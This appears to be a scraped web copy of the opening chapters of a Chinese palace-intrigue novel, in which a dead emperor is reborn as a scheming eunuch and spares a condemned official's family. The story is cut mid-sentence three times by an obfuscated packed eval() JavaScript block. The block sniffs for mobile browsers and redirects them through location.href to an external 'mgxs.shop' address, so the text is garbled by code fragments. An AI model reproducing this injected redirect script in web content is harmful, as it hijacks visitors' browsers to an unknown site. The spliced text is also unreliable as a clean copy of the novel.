《谋骨》 1. 楔子 承平十二年,厚重的大雪飘飘扬扬,不消半日,大雪便淹了整条宫道。 “快快快,快点儿扫!” 一个不过十三四岁的小太监站在宫道门匾下,叉着腰,颐指气使地指使着其他太监们扫雪。 他身着一件红贴里,披着银狐皮的大氅,头戴灰色暖耳,将自己外三层里三层裹得跟个粽子似的,其他太监看他一眼,都忍不住笑。 小太监也察觉到他们眼神里的嘲弄,忍不住涨红了脸,怒道:“都看着咱家做什么,看干爹不在就不听咱家的话了?” 其他太监们置若罔闻,小太监狠狠跺了跺脚,有些气急败坏:“等干爹回来了我就去告诉他,你们看他不在都笑话我!” “诶?”眼见着小太监怒极,离他最近的洒扫太监赶紧讪笑着拦住他,道:“小哥儿怎么生气了?” “你——”小太监心里气得说不出话,方才明明就是这个人笑得最欢。 洒扫太监立刻道:“小哥儿别生气,也犯不着为我们这些低贱的人生气不是?” 眼见着小太监的神色缓和了下来,洒扫太监乘胜追击着巴结道:“我看小哥儿身上这件大氅光彩非凡,比这白雪更美,想必定是掌印他老人家赏您的。” 小太监果然乐了起来,神色立刻变得得意,有些飘飘然道:“干爹虽然疼爱咱家,可却并没有如此华贵之物,这是当今圣上赐给咱家的。” “哎呀呀。”洒扫太监立刻放下手里的扫帚,夸张地伸手摸了摸纯白的大氅,道:“看来小哥儿果然是圣上面前的红人啊!” 小太监伸手把大氅扯了回去,道:“你可小心点,别摸坏了!” “是是是,也就是小哥儿您,长得一张美人面,才撑得起这大氅。”洒扫太监摆明了想要巴结这小太监,但他倒也十分受用。 “那是,想当年——” 就在这时,宫道另一边传来一声哀鸣,小太监停下话头,转头就看见一个衣着单薄的太监正慌慌张张的朝自己冲了过来。 “这是怎么了,慌慌张张的!”小太监厉声斥责了那个太监,那太监却直直跪在小太监面前,道:“木哥儿,陛下、陛下……驾崩了!” 成木听到此言,身形一颤,下一瞬,涕泪横流,他再也支撑不住,几乎要跪在地上,一直立在身边的洒扫太监赶忙伸出手扶住了他。 成木全身止不住地抖,嘴里喃喃道:“干爹……找干爹……” “你。”成木赶紧推开身边的洒扫太监,指着他道:“你叫什么?” “奴婢六合。”洒扫太监赶紧跪了下来。 “六合,你、你盯着他们,继续洒扫。” 成木说完后,没再理会众人,手脚并用跑了出去,腊月风寒,尖刀一般刮着面颊,生生地疼。 头上戴的暖耳不知掉在了何处,身上的大氅也被成木紧紧抱在怀中,宫道中积雪重重,一个不察,成木被脚下的冰面绊倒,猛地摔在了地上。 “这是怎么了?”一双大手将成木从积雪中扶起来,拍了拍他身上脸上的雪,调笑道:“咋咋唬唬,在御前可不能这样。” “干爹!” 成木再也控制不住,直直跪倒在地,哭得上气不接下气:“干爹,陛下驾崩了——” 掌印脸上的笑容僵住,一阵风吹过,天上又飘起了鹅毛大雪,雪花纷纷扬扬落在朱红砖瓦之上。 “陛下!” …… 大雨如注,夜归的鸟儿扑扇着翅膀,眦呀怪叫,树影层叠在昏黄灯光下,雨幕内,一道人影矗立在树下,撑着一把艳到极点的红纸伞,伞面上的金线在夜色中闪着奇异的光。 大红飞鱼服与伞面相映,一张脸隐在伞下,看不清。 “大人,苏鸣志不肯就范。” 大门打开,满屋的血色与血腥气没了禁锢,随着屋内的哭喊声一起扑面撞向撑伞的人。 “苏鸣志私藏宫妃,视国家法度于不顾,去告诉他。”撑伞人从怀中掏出巾帕,慢条斯理地捂住鼻子,“陛下念在他年事已高,愿意留他一命。” “只是要他亲手杀了苏家其他人,这已是格外开恩,叫他不要自寻死路。” 语气和缓,可说出口的话却冷到极点。 站在一旁的锦衣卫面上一滞,为难道:“可他一定要见秉笔大人,说……” “说什么?”声音依旧和缓,他缓缓收起伞,任由大雨淋在身上。 那锦衣卫道:“说自己有宫中秘辛相告,请秉笔大人一定进门一叙。” 一张和伞面一样艳丽的脸,细长的凤眼斜了那锦衣卫一眼,将手中的伞扔给他,道:“这树上的鸟儿,叫得人心烦!” 不知从哪儿飞出一叶小刀,那只鸟儿瞬时歪斜着掉在地上,没了生息。 苏府内,地上横着些鲜血淋漓的仆从和婢女的尸体,多半都死不瞑目。而苏鸣志和他的妻儿正被反绑着困在地上。 几乎是在秉笔踏进苏府的瞬间,所有人都寂静了下来,锦衣卫们分立两侧,垂着头,任由大雨敲打着手中的绣春刀。 秉笔踱步站在苏鸣志面前,俯视着这位阶下囚,笑道:“苏大人,不知是有何事相告?” 苏鸣志年过花甲,算是朝中老人了,家中仅有两子一女,宝贝得紧,可现下,每一个人都狼狈不堪,即使被绑着,眼神也紧紧瞪着这群烧杀抢掠的人。 “秉笔大人、秉笔大人——”苏鸣志双手被反绑,跪在地上想要上前抓住秉笔的衣摆却不得,往前一仰,一个不稳直接摔倒在地,脸着地再也起不来,呜呜咽咽的听不清声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587515|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秉笔嘴角微微扬起,眼神却十分冷漠,看着花白头发的人扭着身子在自己身下挣扎,看够了,他终于缓缓蹲在苏鸣志身前,狠狠抓住苏鸣志的头发,将他拽了起来。 “苏大人,您这又是何苦呢?”秉笔一字一句说,“我知道您守着的秘辛是什么,可你难道不明白,也许就是这秘辛才招来了你如今的境地呢?” “若我是你,那么我决计不会多话。”秉笔手上渐渐加重力气,俯身在苏鸣志耳边轻声说话,眼睛却紧紧盯着苏鸣志的三个儿女,凌迟一般,“不如就狠下心杀了你面前的拦路虎啊,杀了他们,陛下会给您留个全尸的。” “啊啊啊……”苏鸣志哀鸣几声,呜咽两声,忽然间疯了一样仰天叫道:“贼人误国,贼人误国啊——” 秉笔狠狠将苏鸣志扔在地上,苏鸣志眼神发狠,任由大雨砸进眼睛里也不愿意眨眼,看着秉笔,几乎肝肠寸断地嘶吼:“奚牧,你这狗贼!你我同朝为官,何苦为难我至此?今日我苏家以死明志,满门忠烈,可你呢?难道你就能一直站在司礼监内?” “我的今日就是你的明日,你既然要将我逼上绝路,那么就莫怪他人日后对你下手!” “不过就是狗贼养的哈巴狗罢了,要是你能一直摇尾乞怜求得一个好去处,那我敬你是条汉子,可你才是个阉人,在这世上,你就只能是个残废,哈哈哈哈哈哈……” “我的今日,就是你的明日——” 奚牧听着苏鸣志的诅咒,双手紧攥成拳,可面上依旧是那云淡风轻的模样,听着听着,他细长的双眼弯了起来,和地上的苏鸣志一起笑了起来。 癫狂的模样比苏鸣志更甚。 “阉人又如何!”奚牧向后退了一步,在漫天大雨中张开双臂,“今日压在你头上的是个阉人,来日压在你苏家儿女身上的还是我这个可恶的阉人!” “今日,你的死,就成为我的生!” “砰——” 一道惊雷乍然落下,银白光亮瞬间照亮了奚牧狰狞的脸,众人皆被吓住,苏鸣志却是更加疯狂地笑了起来。 “人命如草芥,我这条命,更是连蝼蚁都不如!”苏鸣志努力仰着头,看向天雷:“苍天在上,我愿以这条苟延残喘的命,换这狗贼的命!” “大人,苏鸣志疯了!”身后的锦衣卫们鱼贯而出,把苏鸣志的嘴堵上。 “怎么,你觉得天意会帮你?如果天意能帮你,那么今日——” “砰——” 雷电带着惊人的光亮直直冲了下来,砍在奚牧身上,他大叫一声,直愣愣倒了下去。 这天罚来得突然,不止苏鸣志,立在两旁的锦衣卫们也都愣住了,直到一阵焦味盖过了雨腥味,他们才如梦初醒般冲了上来。 “大人!” 2. 第一章 梁墨睁开眼,满目的大雨直直打了下来,天空中,未散的雷电和着劈天的轰鸣声钻进他的耳朵里。 “大人!” 一帮面色焦急的锦衣卫出现在他的视野中,梁墨还不明白眼前究竟发生了何事,明明他前一刻尚在地宫中,数着即将熄灭的烛火,可一转眼,他便……活了? 锦衣卫们将他扶起来,梁墨晕着脑袋,看见了几个被反绑着的人,为首的老者正是副都御史苏鸣志。他哑着嗓子,道:“先松绑。” 锦衣卫们没动,谁也不敢动,面面相觑一会儿,才有人道:“大人,陛下已经下令,苏府藏匿宫妃,杀无赦。” “今夕何夕?” 梁墨推开扶着自己的锦衣卫,踉跄两步,站稳后,急急问:“如今的皇帝是谁?” “大人……” 锦衣卫们“哗哗”跪了下来,“大人,如今是锦明元年六月,当今圣上是先帝梁墨的养子梁治光。” 锦明元年。 梁墨记得,他死的时候正是景国的冬天,如今不过半年。 “藏匿宫妃?”梁墨看着正在地上挣扎的几人,问:“这是个什么罪名?” 尚跪在地上的锦衣卫似乎有些紧张,迟疑一瞬,道:“大人,苏鸣志藏匿宫妃,都察院上书参他罔顾国家纲纪礼法,三法司会审后定下罪名,陛下命您带人抄了苏府。” 梁墨抬手,按了按正在突突跳着的眉心,道:“抄家就抄家,把人绑起来做什么?” “大人,您忘了吗?”锦衣卫答道:“陛下有旨意,只要苏鸣志杀了他的妻儿,那么便留他一命。” “这真是陛下的旨意?” 梁墨眼神冷了下来,梁治光其人,最是仁厚,绝不可能做出如此丧心病狂的事情,这有悖人伦。 地上趴着的苏鸣志听闻此话,嘴里骂道:“奚牧狗贼,不必在此惺惺作态,我已成阶下囚,要杀要剐悉听尊便!” 奚牧? 梁墨立时想起了这人,前朝时在司礼监当个小官,是当时那位秉笔太监养的干儿子,梁墨记得此人极擅摆弄人心,因此在前朝一直没得到重用,碍于秉笔与他的情谊,梁墨并没有降罪于奚牧。 倒是命运无常,如今他却成了这副身躯的主人。 就此看来,梁墨冷冷扫过跪在地上的这群锦衣卫,能够号令锦衣卫的太监,除了司礼监秉笔,还能有谁? 看来自己从前确实是低估奚牧了,他死了还没有一年,奚牧就踢了秉笔,坐到了这个位置上。 这人不是个善茬,梁墨脸色阴沉下来,那么,奚牧背后的靠山,又是谁? 紧要的是眼下的情况,梁墨抬手,道:“今日不宜再见血,且先将他们关押起来,听候发落。” “是。” 这件事绝对有蹊跷,若真是梁治光下的命令,那么他为何会性情大变?若他也只是成了旁人手中的刀呢? 这倒也是个可能,梁墨还记得,梁治光虽十分仁厚,可还是有些优柔寡断。 梁墨禅位时,内阁首辅大臣和兼曾经力劝他三思,认为如今关外的车炜人以及周边小国进犯不断,一个优柔寡断的帝王,绝没有调兵遣将之能,没有上过战场的皇帝,是绝对无法为景国带来安稳与和平的。 “当下正值乱世之秋,太子殿下虽是您一手教养长大,可他毕竟从未上过战场。他没有体会过战争的残酷,不知道刀剑无眼,不知道一人人头落地,便带来千万百姓的苦痛。他是个庸才,思虑过重、畏首畏尾,并非帝王之才。” 和兼的话语仿佛还回荡在耳边,梁墨撑起伞,挡住瓢泼大雨,隔着雨幕看到苏家五口被锦衣卫押向诏狱。 当下的情况,于梁墨而言,一切都似乎蒙着一层雾气。 梁墨抬起头,看向大雨中巍峨耸立的皇宫,明亮的灯火被大雨稀释,它沉默地矗立在那里,看着一切发生。 …… 回到奚牧在宫外的府邸,立刻就有一群太监围了上来,接伞的接伞,擦雨的擦雨,梁墨冷眼观察着这群人。 在皇宫里,你想要活,想要向上爬,那么人情这件事上就绝不缺人,无论你是舔别人,亦或是他人来舔你,巴结别人倒不是个苦力活,就看你怎么巴结。 梁墨明白,奚牧爬到司礼监秉笔这个位置,下面巴结他的人必不会少,可他确实并未想到,在这小小的府邸里,竟还有一个“皇帝”。 土皇帝。 太监们见奚牧一返往常,冷得似乎不认识他们一样,便料想可能是今夜的雷劈得他脑子出了问题,立刻跪在地上开始哭。 “干爹啊干爹,您这是怎么了?” “莫不是把我们忘记了,都怨这天雷,干爹啊……” 梁墨被他们嚎得心烦,一抬手止住他们:“别嚎了!” “干爹。” 地上站起来一个太监,满脸堆笑,伸手扶住梁墨,讪笑道:“干爹,让儿子服侍您去休息吧。” 这太监很有眼色,见“奚牧”脸上并没有透出熟稔,自顾自解释道:“干爹,儿子是六合啊,您久不见血,想必今日定是吓着了。” 梁墨沉着脸,被六合带到了屋内,喝退了前来更衣的太监。 屋内点着熏香,辛甜的气味熏得人昏昏欲睡,梁墨嗅闻着香味,一件件扯下自己身上这件烧得焦黑的飞鱼服。 铜镜映出他这张歪曲的脸,以及不属于这具身躯的另一个灵魂。梁墨低头,一具十分年轻的身躯,保养得当,只是右手虎口间有些厚茧,奚牧常握刀,梁墨能够感受到,奚牧会些武功,并且造诣颇深。 一个阉人,常年随侍司礼监内,却还学了十成十的功夫。 这大内之中,果真是卧虎藏龙啊。 没再细想,梁墨换下身上这层皮,穿上一身低调的素服,打开门。 门外,六合正带着几个太监低眉垂立,见他出来,立刻迎了上去。 “干爹,这么晚了,您去哪儿?” 梁墨摆手:“诏狱。” …… 诏狱内,气氛森然,戚戚漫漫的哭声幽怨传来,细弱的滴水声隐匿在脚步声中。 苏鸣志一家五口被分散在诏狱各处,锦衣卫打开门,梁墨踱步走进,站在苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587516|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣志身前,他正垂着头,眼神涣散。 “苏大人,您受苦了。” 梁墨蹲下身,直视着苏鸣志,这位副都御史大人是前朝老臣,为人谦和,做事兢兢业业,如今落到这么一个下场,实在是为人不忍。 苏鸣志抬眼,恶狠狠地盯着他,道:“狗贼,不必在此惺惺作态,如今我已成阶下囚,生死皆在你一念之间……” “你又何必在此做戏?” 梁墨自然明白,自己顶着奚牧的这张脸,任是谁都绝不可能相信世上竟真的能有“借尸还魂”这种虚事。 “是啊,我又何必如此呢?” 梁墨叹了口气,转眼间,他又变成了那个跋扈的奚牧,眼角眉梢带着些狠意,道:“可今日您死了,你的妻儿可如何是好呢?” “你的两个儿子,学的是圣贤书,做事也完全一副死板儒生模样,且他们入朝为官已久却依然官不至五品,没了你,他们还能如何活下去?” 苏鸣志立刻红了眼眶,强撑着道:“陛下难道会给他们一条生路吗?” 他这是铁了心不肯说了,梁墨没有强求,只让锦衣卫给苏鸣志松了绑。 苏鸣志的两个儿子,和苏鸣志一样都是倔脾气,怎么也不肯说,只道今日一死,便成就苏家千古贤名。 “大人,陛下已经下旨,我们……”一旁的锦衣卫有些为难,旨意已下,奚牧却公然抗命,将他们藏在诏狱中,若是被有心之人发现,怕是他们有八百条命都不够杀。 梁墨沉思片刻,道:“先好吃好喝待着,这案子有蹊跷,待我查清楚了再下定论也不迟。” 锦衣卫应下,这时,另一边牢房内却传来几声呼唤。 “大人、大人——” 锦衣卫道:“大人,这位是苏鸣志的女儿,她形状疯癫,似乎是疯了。” 梁墨站在牢房外,看着这个女人,她身形瘦削,缩在角落不停颤抖,看见梁墨的瞬间,活过来了似的,手脚并用爬过来,隔着牢门攥紧了梁墨的衣摆。 青丝混着雨水和眼泪糊在她脸上,满目苍白,嘴唇干裂,渗出些血丝,嘴上说的是求饶的话,可眼神却并不恐惧,直直盯着梁墨。 像一只孤注一掷的小兽,手脚虽被折断,可仍然不愿屈服。 “大人……大人!”女人狠狠磕头:“大人,父亲是含冤入狱,他没有错,是糟贼人陷害!” “求你……”女人双眼紧紧盯着梁墨,一行鲜血从额间缓缓流下,“大人,求你放了我的爹娘兄长。” 锦衣卫上前想要拉开女人,梁墨却打开牢门,蹲在女人身前,制止住她磕头的动作。 “你说你父亲含冤?” 藏匿宫妃,看来他们藏的便是苏家小女了,可梁墨并不明白究竟是有什么洪水猛兽逼的苏家不愿女儿进宫为妃? “你父亲藏匿宫妃,这已是板上钉钉的罪名,还有何辩驳的余地?难不成是当今陛下逼得你不愿入宫?” 女人听到梁墨说出这话,似是有些不敢置信,愣了片刻才道:“小女是先帝嫔妃。” 梁墨一愣:“先帝?” 3. 第二章 “先帝并未娶妻……” 梁墨喉咙发涩,女人看着他扯开嘴角,道:“大人何必拿我寻开心?” “承平十二年,先帝病重,下诏命世家女子入宫为妃。先帝死后,宫妃皆被活祭。” “大人,活祭当日,是您亲自带领锦衣卫将宫妃带到了皇陵,也是您亲手封死了皇陵。” 女人一字一句这样说着,凌迟一般,一刀刀扎在梁墨心上。 “大人,您已功成名就,难道当真不留一丝情面?” 女人跪在梁墨面前,抬起头,眼神狠戾,梁墨还未回神,女人已狠狠一口咬在了梁墨右手手臂上。 尖锐的疼痛自手臂传出,梁墨并未躲闪,他皱着眉,托住了正在颤抖着的女人。 女人狠狠咬着不肯松口,恨意和鲜血混合,和着滴答的水声在这诏狱里盘旋。 “我……” 梁墨喉间哽涩,手臂几乎被她咬下一块肉,女人松口,被冲进门的锦衣卫压制在地上,双眼却不肯离开梁墨。 “狗贼,若我今日侥幸未死,来日必定与你拼个你死我活!” 梁墨抬手,让锦衣卫们将女人抬起来,梁墨蹲在女人身前:“苏家女果然有胆识。” “你叫什么?” “苏倾祈,狗贼,你记住了,我叫苏倾祈!” 梁墨沉思一番,揭开自己手臂上粘连的素服,道:“你们都先退下。” “是。” 锦衣卫们尽数退下,梁墨看着臂上鲜血淋漓的伤口,道:“你想报仇?” 苏倾祈只紧紧盯着梁墨,小兽的挣扎与求死仅在这瞬间。 “困兽犹斗啊。”梁墨感叹一声,“你的仇人是谁?” “你!”苏倾祈一字一句,缓缓开口,“还有那高台之上坐山观虎斗的所有人!” “可你如今已身在诏狱,你的仇人却高坐明堂,你想报仇,这该从何谈起?” 梁墨看着苏倾祈,不愿错过她脸上的任何表情。 “若我……”苏倾祈一滞,继而恨声道:“若我是男儿身,今日被困在这里的必定不是我;若我是男儿身,天下大势皆将为我所用。我会成为一把利剑,而不是阶下囚!” 恍然间,眼前风雪起,梁墨似乎又看见了曾经跪在殿前的梁治光,声声念念,字字恳切。 “陛下教养臣,臣读遍天下圣贤书,看尽世间百姓冷暖。自知庸碌至极,不堪大任。可陛下既愿将景国交与臣,那么臣自当鞠躬尽瘁,肝脑涂地!” “好胆识!”梁墨站起身,“我给你这个机会。” 苏倾祈抬头,却是愣住了。 “我给你这个身份,伪造男儿身并不难,可难的是你究竟有没有入朝为官的才能,空口大话任谁都会讲,可你若无治国之才,便也无需再议。” 梁墨缓缓说出另一条路:“我与你交易,你来做我朝中爪牙,我助你查清苏大人一案的真相。” “若你确有大才,进了宫,我就是你的主子,我的命就是天命;可若你并非良将,那么你我亦无需再议,我放你们一条生路,你且带着你一家老小离开京都,此生不再入京都。” “选一条。” 苏倾祈心脏似乎都被攥紧,她颤抖起来,握紧双拳,直视梁墨:“可是大人,你莫不是真的在拿我寻开心?” “我们是陛下要杀的死囚,你敢公然抗旨?” 梁墨蹲下身,二人近在咫尺:“是啊,皇命难违,可世间多的是变通的法子。我虽是一介阉人,可兼掌锦衣卫,多的是瞒天过海的法子。” “杀的人太多,夜晚便再无法安睡,所以我不打算杀你们。” 狱内小窗投下一层银白月影,梁墨站起身,将手中那把绣春刀递给苏倾祈,缓声道:“苏倾祈,选一条吧,是自此与我一同入朝,陷入万劫不复的境地,还是逃出京都,苟且偷生?” “我……”苏倾祈吞咽几下,看着手中这把刀,刀身略重,沉甸甸压在身上,她明白,若自己接下这刀,便再无回头之日。 狱中静默无声,爹娘兄长的呻吟声也听不见了,或许他们也在期待苏倾祈能够接下梁墨递出的刀,毕竟,这一次苏家遭难,皆因她而起。 兄长们一介儒生,心无大志,人又太过古板,可苏倾祈不同,她是苏家养出来的异类,她聪明伶俐、知变通,心善却绝不服输忍让。 她是一株闺阁中长大的小草,心向天地。 “我要堂堂正正地站在天地间!”苏倾祈双手用力捧着刀,抬头看向梁墨,嗓音发颤却坚定:“离开京都,左不过便是嫁与他人为妻,困在后宅,如鹦鸟宥于笼中。” “我不愿做阶下囚,不愿恶人高坐明堂。就算拼出这条命,我也要把他们拽下来,要为自己求一个公道!” 这一番话语振聋发聩,梁墨静静听着,窗口散下的月色实在太美,让他足以看清女子双眼中的坚定与决绝。 “若有来日,当你身居高位时,我这条命,便还给你。” 梁墨收回苏倾祈手中的刀,离开了诏狱。 …… 梁墨回到府中,见着府外正停了一辆马车,车夫正打着盹。 “干爹……”六合看上去有些忧心忡忡,上前扶住梁墨,轻声耳语道:“干爹,户部尚书来访,他看上去不太高兴,儿子偷偷问过,是为了苏鸣志的事情来的。” 梁墨净了手,决心晾他一晾,于是等换好衣服后才慢条斯理地来到正堂,一看见主位上坐着的那人,梁墨的脸立刻阴了下来。 卢正,曾经因为为官不正被他贬去益阳,没想到梁墨死了还没一年,这人便爬了回来。 “卢大人,今日风急雨急,想来定是有大事相告?”梁墨的视线落在卢正衣袖的水渍上,“行色匆匆,连礼数都忘了个明白?” 卢正摸着自己下巴上的胡须,有些气急败坏道:“我不与你理论这个,你说,你是不是没把苏鸣志杀了?” 梁墨不答,端起茶盏轻抿一口。 卢正道:“那可是陛下钦点要杀的死囚,你怎么敢公然抗旨!想来怕是那道天雷劈得还不够,怎么没把你劈成个残废?” 梁墨一笑,道:“大人这话我可就听不明白了,皇命在上,我就是有十条命也不能公然抗命啊。” “更何况,我本阉人,早就是残废了,大人何必在此说教?” 卢正哼了一声,向梁墨倾了倾身,低声道:“你不必同我做戏,我可是知道,你让锦衣卫把他们一家五口人都关在了诏狱内,若我向陛下揭发你,怕是你今日便能死个十回了!” 这便是挑衅了,梁墨冷冷瞥他一眼,厉声道:“是谁告诉大人囚犯未死?想来这锦衣卫中竟出了吃里扒外之徒!更何况,照卢大人所言,我岂不真成了狼心狗肺之人?” “那你……”卢正神色缓和了些。 梁墨道:“诏狱内,死囚皆已处决!” 卢正终于放松下来,向后瘫在椅上,道:“秉笔大人不必动怒,我也是太过心急。毕竟苏鸣志是被你我用计陷害,若他不死,那你我的死期怕是近在眼前。” 户部尚书与司礼监秉笔内外勾结,陷害了都察院副都御史。 梁墨看向卢正,眼中杀意更甚,卢正此人,唯利是图,且为人并不刚直。梁墨还记得,前朝时都察院参他滥用职权,打压寒门子弟,为此,卢正曾在殿前声泪俱下,痛斥都察院诬陷好人。 当时苏鸣志便是在殿前,一一列举了卢正收受贿赂的证据,白纸黑字写得清清楚楚。因此,梁墨才贬了卢正。 梁墨猜测,卢正想要杀了副都御史苏鸣志,大概也便是出于殿前之辱。 可若是卢正一人构陷苏鸣志,那么事态便不会如此扑朔迷离,难的是奚牧这个内侍也牵连其中,这倒是让梁墨有些拿不准了。 苏鸣志必定是探查到了些大事,至于这大事是什么,梁墨推测,必定与宫内有关。卢正怕是也成了旁人为虎作伥的刀罢了。 “都察院参他便罢了,可藏匿宫妃这一事,究竟也算不得什么罪名。何至于此啊。”梁墨假装感慨,偷偷注意着卢正的状态。 只见他果然兴奋了起来,道:“大人怕是忘记了,苏家女早就已经入陵,原本早该成了皇陵中的一缕幽魂,可她偏偏从皇陵中爬了出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587517|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秉笔大人不喜欢掺和这些市井小民之事。”卢正笑了一声,“你自然不知道,当日大雨,守陵人看见皇陵中钻出来一个状似疯癫的女人,都以为是恶鬼索命。毕竟活祭这事确实有损阴德。” 卢正坐直了身子,看向梁墨:“大人怕是不知道吧,民间皆传,在皇陵外接应苏家女的就是她那两个草包兄长!你说奇不奇,此二人在朝中皆像个鹌鹑似的,谁能想到为了自家小妹竟有如此胆识。” 说完后,二人皆沉默。 “秉笔大人,听说抄家之后,苏府才抄出了不过一百两银子?”卢正偏头,饶有兴致地看着梁墨。 梁墨嗯了一声:“苏鸣志是清官,这些银两多半是他这几年的全部积蓄。” 卢正一哂:“清官啊,清官好啊。自家儿女吃不饱饭,自己倒还要端着一副谪仙人的样子,骂我殿前失仪,罪证一条条拍在我脸上。” “呵,且看如今究竟谁在上,谁在下?清官想来也不过如此,都是画了花脸的戏子罢了。如今轮到我做戏,怕是他死前还不知是谁害了他吧。” 梁墨听罢,问:“你就这么恨他?” 卢正道:“秉笔大人,你被这天雷一劈,连脑子都劈坏了?那益阳穷山恶水,连年干旱,您祖籍便是益阳的,定是比我更清楚吧。” 卢正刺完梁墨,仰头看向殿外露出一隅的黑沉的天,道:“到了益阳之后,我整宿整宿睡不着觉,小地方俸禄更是少之又少,连地方豪绅都可在我这个县令头上作威作福。我恨啊,我本高门出身,究竟何至于此?” “我的那些同窗,一个个皆成了京官,留在京都,享尽荣华富贵。我恨啊,我怎能不恨?” 卢正嘴上说着恨,语气却十分平静,像是在讲一个与他无关的人。梁墨看着卢正,想起了和兼,内阁首辅,他也是寒门出身,一路从地方官升任京官,到了古稀之年,终于成了首辅。 和兼此人,为国为家,为官清廉,为人正直。想来此二人的人生轨迹不同,确实是心性使然吧。 卢正感慨完,举起茶杯一饮而尽,作揖道:“奚大人,你我皆下品,往后只望您多多提携!” 话罢,转身离开,梁墨看着他的背影,发现卢正似乎是有腿疾,走路一瘸一拐,过于宽大的衣袖随着他的动作垂落,浸在地上的水洼中。 六合进门为梁墨斟茶,看梁墨一直盯着卢正出了门,才道:“干爹,卢大人这腿啊,是回京前一日,被益阳那儿的地痞流氓打断的,据说至今都不知道究竟是何人作案。” 梁墨一笑,看向六合:“你这消息倒是通透。” 六合顺势跪在梁墨脚边,伸手轻轻按着,道:“觉得干爹可能会奇怪,便去查了查。” “你是何时开始跟着我的?” 六合低眉垂眼道:“儿子是半年前入了府,开始跟着干爹的。” 半年前? 也差不多就是梁墨身死之时,六合仅半年就成了奚牧最信任的儿子,此事怕是有蹊跷。梁墨看着六合手上动作不停,心中断定,此人城府必不在奚牧之下。 …… 翌日,借着休沐的机会,梁墨去了趟诏狱。 “此人名苏祈,是衢州地方一小县的县令,为官清和,政绩颇多。近日他风寒之后得了肺痨,大夫断定他已经没有几日的活头了,我想奏请陛下,破格提拔此人任都察院经历,你道如何?” 苏倾祈接过纸张,看着纸上苏祈的画像,一个纤细瘦弱的男人,眉眼确实与苏倾祈有几分相像。 梁墨打开食盒,将碗筷递给苏倾祈:“苏祈家中只有一老母,家中清贫。将死之时若能为自己母亲留下些银两,便可瞑目了。” 苏倾祈闭上眼,有些不忍,但又无可奈何,道:“好,今日我顶了他的身份,那么他的母亲亦是我的母亲,我必定好生赡养。” “过几日,我便安排你爹娘兄长离京,你也好好想想究竟该如何做。”梁墨说着,将身后的绣春刀递给苏倾祈。 “诏狱中,锦衣卫们并非一心,你莫要相信任何人。”苏倾祈抬头,双手接过这把刀。 “多谢……大人。” 4. 第三章 诏狱内多死囚,犯的皆是杀人一类的罪名,梁墨便选了五个死囚,毁掉面容伪装成了苏家五口人。 锦衣卫中敌我难分,梁墨亲手接管了此事,趁着夜黑风高之时,将苏家人转移到了奚牧的府邸中。 苏鸣志郁气攻心,更何况是原本抄了他家的人亲自将他们救了出来,因此到了府上也没个好脸色,不怎么说话,一个劲长吁短叹,认为阉贼定是别有所图。 梁墨自知理亏,便没有再逼苏鸣志,而是考了考苏倾祈对朝局的理解。 此女如今年方十八,及笄之后也并没有成婚,一直守在闺阁中,因此并没有多少人知道苏家女的面容。 当日先帝纳宫妃时,司礼监亲传谕令,苏家急匆匆收拾了些金银细软便将苏倾祈送进了宫,一路上以白纱覆面。 入宫后更是一直困在后宫中,再无出入,如今其他宫妃皆已死在皇陵中,苏倾祈这个人,也于昨日“死”在了诏狱内。 如今便是真正的万事俱备,只欠东风了。 “苏倾祈,你一直困守闺阁内,只从你女儿家的身份来看,你如何看待君子治国之策?”梁墨与苏倾祈相对而坐。 苏倾祈并未思考太久,答道:“《尚书》中记载洪范九畴治国大法,小女认为,此九种治国大法,便是君子治国之要害。” 梁墨点了点头,苏倾祈继续道:“五行五事乃天地自然与为人之本,八政五纪则是国家运行之基,皇极三德便是帝王之本,此两类便与以礼治国相当。” “稽疑庶征乃是国家行事之捆束,吉凶占卜能够化解冲动。而五福六极则是君子治国应时,当将百姓五福放在首位,尽量避免六极发生。” “不错。”梁墨赞许道,“看来苏大人确实有在好好教养子女。” 话罢,话锋一转,道:“可你入朝为官,必定从小官做起。洪范九畴虽是治国大义,可毕竟非你一人便可实现。为官第一要务是什么,你可知道?” “为官第一要务……”苏倾祈偏头,看向碧蓝天色,道:“父亲自小便告诉我,为官者,不求大富大贵,只求无愧于心。” “既然为官,那么必定要苦百姓之苦,因此,小女以为,为官第一要务便是清廉。” 梁墨斟茶,笑道:“清廉一事,你认为简单吗?自古多少官员本着为民请愿的心思入了朝,可却不敌官场漩涡,寒门出身的人爬不了太高,高门出身的人自是有千万种理由将你拉下来。” 